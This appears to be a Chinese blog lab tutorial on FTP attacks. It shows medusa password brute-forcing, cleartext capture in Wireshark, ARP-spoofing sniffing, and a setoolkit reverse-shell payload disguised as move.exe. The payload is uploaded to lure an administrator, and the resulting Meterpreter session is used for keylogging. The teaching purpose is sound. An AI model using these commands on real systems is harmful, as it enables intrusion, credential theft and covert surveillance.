当前位置:网站首页>6-2漏洞利用-ftp不可避免的问题
6-2漏洞利用-ftp不可避免的问题
2022-07-02 01:11:00 【山兔1】
FTP用户名密码暴力破解
Windows下 CMD命令添加用户、以及提升Administrator管理员权限,之后这个用户将做为登录FTP的用户名和密码
net user 用户名 用户密码 /add
//表示添加新的用户名密码
net localgroup administrators 用户名 /add
//提升管理权限
net user admin1 admin1 /add
net localgroup administrators admin1 /add
windows下 FTP服务器添加用户,否则我们就不能使用我们添加的admin1用户登录
打开iis管理器
使用medusa暴力破解工具来破解admin1用户的密码
在最后输出了对应的用户名密码
先用nc连接一下ftp服务
nc 192.168.1.107 21
USER admin1
PASS admin1
连接成功
只有在输入正确的账号密码的情况下,才会登录成功
medusa
medusa -h 192.168.1.107 -u admin1 -P /root/Desktop/pass.txt -M ftp
可以看到,我们在最后发现了用户名密码,我们也可以不知道用户名、密码进行破解
这个时候,我们就可以用nc登录
FTP用户名密码验证
FTP协议中用于用户认证的过程中,客户端要与服务端进行通信,并且他们两个在验证过程中,客户端会发送明文的信息到服务端,服务端在整个过程中,接收到的信息都是明文状态,比如说,登录使用的弱口令、密码都是明文的,我们可以进行查看,不经过加密,比如说,客户端发送admin,在传送到服务端的整个过程中,我们都可以查看
我们可以在wireshark抓包进行查看
我们接下来,将使用nc连接当前的FTP服务器,然后使用wireshark进行抓包,从而验证,我们对应的明文传输
先打开ftp,选择eth0端口监听,模式选择ftp
nc 192.168.1.101 21
USER admin1
PASS admin1
我们来看一下wireshark抓的包
可以看到,都是明文
FTP用户名明文密码嗅探
因为整个传输过程中,都是使用明文状态,没有进行加密,我们可以在FTP和服务端进行嗅探,取对应的用户名和密码
利用arpspoof进行ARP嗅探,从而使得我们某一客户端,连接对应ftp服务器时,欺骗客户端,我们是网关,从而获得对应的数据包
这个时候,所有数据包都将发送到kali,我们就可以使用wireshark进行流量嗅探
发现对应的用户名和密码
ifconfig
arpspoof -i eth0 192.168.1.1 -t 192.168.1.105
arp -a
欺骗成功,我们看到192.168.1.1的mac地址是kali的mac地址
ftp 192.168.1.107
admin1
admin1
登录成功
嗅探与暴力破解,最大的不同,在于暴力破解需要强大的字典,而这种嗅探,我们只要嗅探成功,就可以获得对应的用户名和密码,即可进行登录
FTP登录之后做的事情
FTP主要是用来文件传输,接下来,我们就需要上传一个反弹shell,当管理员点击shell之后,服务器就会返回对应的cmd,执行窗口、执行权限,就会执行对应的命令
利用metasploit创建反弹shell上传到FTP服务器。可以利用setookit快速生成反弹shell。
setoolkit
4
2
192.168.1.106
4445
为了确保不冲突,我们可以查看当前kali开放端口
netstat -pantu
我们发现4445端口,不在当前的内容当中,我们就可以用4445端口,做为反弹监听的端口
这个时候,就开始生成对应的payload
开启监听
我们打开另外一个终端
cd /root/.set
ls
mv payload.exe /root/Desktop/
这个时候,我们可以使用ftp,把对应的payload上传,使用flashfxp软件,进行上传
上传成功后,就会在FTP服务器的根目录下,生成payload.exe
我们需要诱惑管理员点击,对应的exe文件,我们就需要进行修改,比如move.exe
很有可能,管理员会双击,我们就可以在kali当中,查看终端
终端当中,就会有对应的连接
sessions -l
//查看
sessions -i 1
可以看到连接上去,我们就可以进行操作了
HELP
我们可以进行键盘操作等等
sysinfo
//查看当前session当中win2k3的信息
keyscan_start
keyscan_dump
总结
同时要掌握FTP下的文件,是不能乱点,一定要加强对应的管理,否则我们点击了exe文件,就会导致服务器的沦陷,也从侧面发现,我们要对FTP用户加强管理,避免他们的用户名密码泄露,以及我们要在局域网当中,对它进行安全维护,防止arp嗅探到我们的ftp明文用户名和密码
边栏推荐
- Edge extraction edges based on Halcon learning_ image. Hdev routine
- Bilstm CRF code implementation
- 学习笔记25--多传感器前融合技术
- Global and Chinese markets for context and location-based services 2022-2028: Research Report on technology, participants, trends, market size and share
- 【八大排序②】选择排序(选择排序,堆排序)
- How to reflect and solve the problem of bird flight? Why are planes afraid of birds?
- Day 13 of hcip (relevant contents of BGP agreement)
- Sql--- related transactions
- The 8-year salary change of testers makes netizens envy it: you pay me one year's salary per month
- Global and Chinese market of ancillary software 2022-2028: Research Report on technology, participants, trends, market size and share
猜你喜欢
2022 safety officer-a certificate examination questions and online simulation examination
LeetCode、3无重复最长子序列
学习笔记25--多传感器前融合技术
We should make clear the branch prediction
Hcip day 14 (MPLS protocol)
Viewing and modifying volume group attributes of Aix storage management (II)
Recommend an online interface mock tool usemock
With the acquisition of Xilinx, AMD is more than "walking on two legs" | Jiazi found
Output results of convolution operation with multiple tensors and multiple convolution kernels
2022 high altitude installation, maintenance and removal of test question simulation test platform operation
随机推荐
站在新的角度来看待产业互联网,并且去寻求产业互联网的正确方式和方法
The first "mobile cloud Cup" empty publicity meeting, looking forward to working with developers to create a new world of computing!
Variables and constants of go language foundation
程序员该如何更好的规划自己的职业发展?
How to compress video size while adding watermark with one click?
How to determine whether the current script is in the node environment or the browser environment?
Geek DIY open source solution sharing - digital amplitude frequency equalization power amplifier design (practical embedded electronic design works, comprehensive practice of software and hardware)
[IVX junior engineer training course 10 papers to get certificates] 0708 news page production
Global and Chinese markets for freight and logistics 2022-2028: Research Report on technology, participants, trends, market size and share
Global and Chinese market of ancillary software 2022-2028: Research Report on technology, participants, trends, market size and share
8.8.4-PointersOnC-20220215
The concept and application of Cartland number
gradle
Mathematics - feelings -20220215
The 8-year salary change of testers makes netizens envy it: you pay me one year's salary per month
Minimize the error
ACM tutorial - quick sort (regular + tail recursion + random benchmark)
AIX存储管理之卷组的创建(一)
教你白嫖Amazon rds一年并搭建MySQL云数据库(只需10分钟,真香)
6-3漏洞利用-SSH环境搭建